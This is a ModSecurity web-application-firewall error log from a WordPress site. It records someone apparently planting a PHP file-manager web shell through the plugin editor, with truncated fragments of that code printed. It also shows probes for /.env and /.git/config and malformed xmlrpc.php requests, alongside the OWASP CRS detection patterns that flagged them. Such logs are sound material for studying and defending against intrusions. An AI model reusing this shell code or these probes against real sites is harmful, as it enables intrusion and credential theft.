[Tue Apr 29 21:33:22.969348 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?i:<META[\\\\s/+].*?charset[\\\\s/+]*=)" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "431"] [id "941260"] [msg "IE XSS Filters - Attack Detected"] [data "Matched Data: <meta charset= found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// Get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__FILE__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatBytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);\\x0d\\x0a   ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.970018 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?i)<LINK[\\\\s/+].*?href[\\\\s/+]*=" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "453"] [id "941270"] [msg "IE XSS Filters - Attack Detected"] [data "Matched Data: <link rel=\\x22stylesheet\\x22 href= found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// Get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__FILE__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatBytes($size, $precision = 2) {\\x0d\\x0a    $base = log($siz..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.974428 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?i:(?:select|;)\\\\s+(?:benchmark|sleep|if)\\\\s*?\\\\(\\\\s*?\\\\(?\\\\s*?\\\\w+)" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "154"] [id "942170"] [msg "Detects SQL benchmark and sleep injection attempts including conditional queries"] [data "Matched Data: ;\\x0d\\x0a        if (is_dir found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// Get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__FILE__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatBytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag " [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.975381 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?i:(?:[\\"'`](?:;?\\\\s*?(?:having|select|union)\\\\b\\\\s*?[^\\\\s]|\\\\s*?!\\\\s*?[\\"'`\\\\w])|(?:c(?:onnection_id|urrent_user)|database)\\\\s*?\\\\([^\\\\)]*?|u(?:nion(?:[\\\\w(\\\\s]*?select| select @)|ser\\\\s*?\\\\([^\\\\)]*?)|s(?:chema\\\\s*?\\\\([^\\\\)]*?|elect.*?\\\\w?user\\\\()|in ..." at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "183"] [id "942190"] [msg "Detects MSSQL code execution and information gathering attempts"] [data "Matched Data: current_user( found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// Get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__FILE__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatBytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);\\x0d\\x0a    ..."] [severity "CRITIC [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.979906 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 120)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:34.553670 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 120 - SQLI=10,XSS=40,RFI=0,LFI=0,RCE=25,PHPI=30,HTTP=15,SESS=0): individual paranoia level scores: 120, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:45.697520 2025] [:error] [pid 2995134:tid 140284587382336] [client 104.28.247.133:17290] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at RESPONSE_BODY. [file "/usr/share/modsecurity-crs/rules/RESPONSE-953-DATA-LEAKAGES-PHP.conf"] [line "72"] [id "953110"] [msg "PHP source code leakage"] [data "Matched Data: scandir found within RESPONSE_BODY: <!DOCTYPE html>\\x0a<html class=\\x22wp-toolbar\\x22\\x0a\\x09lang=\\x22ko-KR\\x22>\\x0a<head>\\x0a<meta http-equiv=\\x22Content-Type\\x22 content=\\x22text/html; charset=UTF-8\\x22 />\\x0a\\x09<title>\\xed\\x94\\x8c\\xeb\\x9f\\xac\\xea\\xb7\\xb8\\xec\\x9d\\xb8 \\xed\\x8e\\xb8\\xec\\xa7\\x91 &lsaquo; My Sites &#8212; \\xec\\x9b\\x8c\\xeb\\x93\\x9c\\xed\\x94\\x84\\xeb\\xa0\\x88\\xec\\x8a\\xa4</title>\\x0a<script type=\\x22text/javascript\\x22>\\x0aaddLoadEvent = function(func){if(typeof jQuery!=='undefined'..."] [severity "ERROR"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "langua [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHH4wRh61cZfh1vMLtgQAAAYg"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:45.699303 2025] [:error] [pid 2995134:tid 140284587382336] [client 104.28.247.133:17290] [client 104.28.247.133] ModSecurity: Warning. Operator GE matched 4 at TX:outbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-959-BLOCKING-EVALUATION.conf"] [line "76"] [id "959100"] [msg "Outbound Anomaly Score Exceeded (Total Score: 4)"] [ver "OWASP_CRS/3.3.2"] [tag "anomaly-evaluation"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHH4wRh61cZfh1vMLtgQAAAYg"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:45.705418 2025] [:error] [pid 2995134:tid 140284587382336] [client 104.28.247.133:17290] [client 104.28.247.133] ModSecurity: Warning. Operator GE matched 4 at TX:outbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "102"] [id "980140"] [msg "Outbound Anomaly Score Exceeded (score 4): individual paranoia level scores: 4, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHH4wRh61cZfh1vMLtgQAAAYg"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 23:47:40.683871 2025] [:error] [pid 3236720:tid 140283110987328] [client 45.148.10.172:35020] [client 45.148.10.172] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.ysbbs.or.kr"] [uri "/.env"] [unique_id "aBDmjEbd9otAaIQbBIIXGAAAANo"]
[Tue Apr 29 23:47:40.684241 2025] [:error] [pid 3236720:tid 140283110987328] [client 45.148.10.172:35020] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ysbbs.or.kr"] [uri "/.env"] [unique_id "aBDmjEbd9otAaIQbBIIXGAAAANo"]
[Tue Apr 29 23:47:41.637822 2025] [:error] [pid 3236720:tid 140283110987328] [client 45.148.10.172:35020] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "www.ysbbs.or.kr"] [uri "/index.php"] [unique_id "aBDmjEbd9otAaIQbBIIXGAAAANo"]
[Tue Apr 29 23:51:45.109368 2025] [:error] [pid 3236615:tid 140284662208064] [client 93.152.220.171:54294] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBDngVBi2pMvhbbGnKws4AAAAEQ"]
[Tue Apr 29 23:51:45.109454 2025] [:error] [pid 3236615:tid 140284662208064] [client 93.152.220.171:54294] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBDngVBi2pMvhbbGnKws4AAAAEQ"]
[Tue Apr 29 23:51:46.332538 2025] [:error] [pid 3236615:tid 140283748537920] [client 93.152.220.171:54304] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBDnglBi2pMvhbbGnKws4QAAAE8"]
[Tue Apr 29 23:51:46.332607 2025] [:error] [pid 3236615:tid 140283748537920] [client 93.152.220.171:54304] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBDnglBi2pMvhbbGnKws4QAAAE8"]
[Tue Apr 29 23:51:50.241066 2025] [:error] [pid 3236615:tid 140284268623424] [client 93.152.220.171:54334] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBDnhlBi2pMvhbbGnKws4gAAAEo"]
[Tue Apr 29 23:51:50.241143 2025] [:error] [pid 3236615:tid 140284268623424] [client 93.152.220.171:54334] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBDnhlBi2pMvhbbGnKws4gAAAEo"]
[Tue Apr 29 23:55:21.077307 2025] [:error] [pid 3236650:tid 140283933079104] [client 93.152.220.171:50620] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBDoWW7SjBgzhBXEvqoKIQAAAJE"]
[Tue Apr 29 23:55:21.077413 2025] [:error] [pid 3236650:tid 140283933079104] [client 93.152.220.171:50620] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBDoWW7SjBgzhBXEvqoKIQAAAJE"]
[Tue Apr 29 23:55:22.336270 2025] [:error] [pid 3236615:tid 140284662208064] [client 93.152.220.171:38656] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBDoWlBi2pMvhbbGnKwtYAAAAEQ"]
[Tue Apr 29 23:55:22.336380 2025] [:error] [pid 3236615:tid 140284662208064] [client 93.152.220.171:38656] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBDoWlBi2pMvhbbGnKwtYAAAAEQ"]
[Wed Apr 30 01:04:21.806889 2025] [:error] [pid 3239207:tid 140282674796096] [client 45.148.10.172:51982] [client 45.148.10.172] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ysbbs.or.kr"] [uri "/.env"] [unique_id "aBD4hfo2tA2Lb4exmuHM4wAAAd0"]
[Wed Apr 30 01:04:21.807371 2025] [:error] [pid 3239207:tid 140282674796096] [client 45.148.10.172:51982] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ysbbs.or.kr"] [uri "/.env"] [unique_id "aBD4hfo2tA2Lb4exmuHM4wAAAd0"]
[Wed Apr 30 01:04:22.684913 2025] [:error] [pid 3239207:tid 140282674796096] [client 45.148.10.172:51982] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "ysbbs.or.kr"] [uri "/index.php"] [unique_id "aBD4hfo2tA2Lb4exmuHM4wAAAd0"]
[Wed Apr 30 03:46:02.075398 2025] [:error] [pid 3239207:tid 140283261990464] [client 154.83.103.201:44518] [client 154.83.103.201] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBEeavo2tA2Lb4exmuHSJQAAAdg"]
[Wed Apr 30 03:46:02.075895 2025] [:error] [pid 3239207:tid 140283261990464] [client 154.83.103.201:44518] [client 154.83.103.201] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBEeavo2tA2Lb4exmuHSJQAAAdg"]
[Wed Apr 30 03:46:02.979749 2025] [:error] [pid 3239207:tid 140283261990464] [client 154.83.103.201:44518] [client 154.83.103.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "www.ysbbs.or.kr"] [uri "/index.php"] [unique_id "aBEeavo2tA2Lb4exmuHSJQAAAdg"]
[Wed Apr 30 03:49:16.070938 2025] [:error] [pid 3240938:tid 140282683188800] [client 154.83.103.201:4918] [client 154.83.103.201] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBEfLES9lV6TiBucukuB7gAAAxw"]
[Wed Apr 30 03:49:16.071378 2025] [:error] [pid 3240938:tid 140282683188800] [client 154.83.103.201:4918] [client 154.83.103.201] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBEfLES9lV6TiBucukuB7gAAAxw"]
[Wed Apr 30 03:49:16.926364 2025] [:error] [pid 3240938:tid 140282683188800] [client 154.83.103.201:4918] [client 154.83.103.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "ysbbs.or.kr"] [uri "/index.php"] [unique_id "aBEfLES9lV6TiBucukuB7gAAAxw"]
[Wed Apr 30 03:49:19.174515 2025] [:error] [pid 3240938:tid 140284668499520] [client 154.83.103.201:4924] [client 154.83.103.201] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBEfL0S9lV6TiBucukuB9AAAAwM"]
[Wed Apr 30 03:49:19.174922 2025] [:error] [pid 3240938:tid 140284668499520] [client 154.83.103.201:4924] [client 154.83.103.201] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ysbbs.or.kr"] [uri "/.git/config"] [unique_id "aBEfL0S9lV6TiBucukuB9AAAAwM"]
[Wed Apr 30 03:49:19.901772 2025] [:error] [pid 3240938:tid 140284668499520] [client 154.83.103.201:4924] [client 154.83.103.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "www.ysbbs.or.kr"] [uri "/index.php"] [unique_id "aBEfL0S9lV6TiBucukuB9AAAAwM"]
[Wed Apr 30 05:46:02.268760 2025] [:error] [pid 3239207:tid 140284660106816] [client 93.152.220.171:51338] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBE6ivo2tA2Lb4exmuHWCwAAAcQ"]
[Wed Apr 30 05:46:02.268841 2025] [:error] [pid 3239207:tid 140284660106816] [client 93.152.220.171:51338] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBE6ivo2tA2Lb4exmuHWCwAAAcQ"]
[Wed Apr 30 05:46:03.662894 2025] [:error] [pid 3240331:tid 140283740145216] [client 93.152.220.171:51346] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBE6iwA1Jeqhn0BAdQByBQAAAhA"]
[Wed Apr 30 05:46:03.662975 2025] [:error] [pid 3240331:tid 140283740145216] [client 93.152.220.171:51346] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBE6iwA1Jeqhn0BAdQByBQAAAhA"]
[Wed Apr 30 05:46:07.674935 2025] [:error] [pid 3240623:tid 140283681429056] [client 93.152.220.171:51378] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBE6jzicGVo0XRizbLA1GgAAAo8"]
[Wed Apr 30 05:46:07.675019 2025] [:error] [pid 3240623:tid 140283681429056] [client 93.152.220.171:51378] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBE6jzicGVo0XRizbLA1GgAAAo8"]
[Wed Apr 30 05:49:40.586406 2025] [:error] [pid 3240623:tid 140284293801536] [client 93.152.220.171:35548] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBE7ZDicGVo0XRizbLA1xAAAAoc"]
[Wed Apr 30 05:49:40.586500 2025] [:error] [pid 3240623:tid 140284293801536] [client 93.152.220.171:35548] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBE7ZDicGVo0XRizbLA1xAAAAoc"]
